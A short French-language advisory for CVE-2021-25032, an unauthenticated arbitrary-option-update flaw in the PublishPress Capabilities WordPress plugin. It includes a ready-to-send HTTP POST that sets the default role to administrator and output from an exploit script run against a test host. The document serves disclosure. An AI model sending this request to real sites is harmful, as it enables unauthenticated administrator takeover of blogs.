
PublishPress Capabilities < 2.3.1 - Mise à jour arbitraire d'options non authentifiée menant à la compromission du blog
PublishPress Capabilities 2.2 – 2.3 – Mise à jour non authentifiée d'options arbitraires menant à la compromission du blog
Le plugin ne dispose pas de vérifications d'autorisation et de CSRF lors de la mise à jour de ses paramètres via le hook init, et ne garantit pas que les options à mettre à jour appartiennent au plugin. En conséquence, des attaquants non authentifiés pourraient mettre à jour des options arbitraires du blog, comme le rôle par défaut, et faire en sorte que tout nouvel utilisateur enregistré ait un rôle d'administrateur.
POST /wp-admin/admin.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 81
Connection: close
page=pp-capabilities-settings&all_options=default_role&default_role=administrator
$ python3 CVE-2021-25032.py -u http://wordpress.lan
The plugin version is below 2.3.1.
The plugin version is 2.2
Vulnerability check: http://wordpress.lan
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
Désactiver l'enregistrement et le rôle Abonné
$ python3 CVE-2021-25032.py -u http://wordpress.lan --fix yes
Vulnerability check: http://wordpress.lan
Options set successfully: http://wordpress.lan/wp-admin/admin.php
Fixed: You can not longer register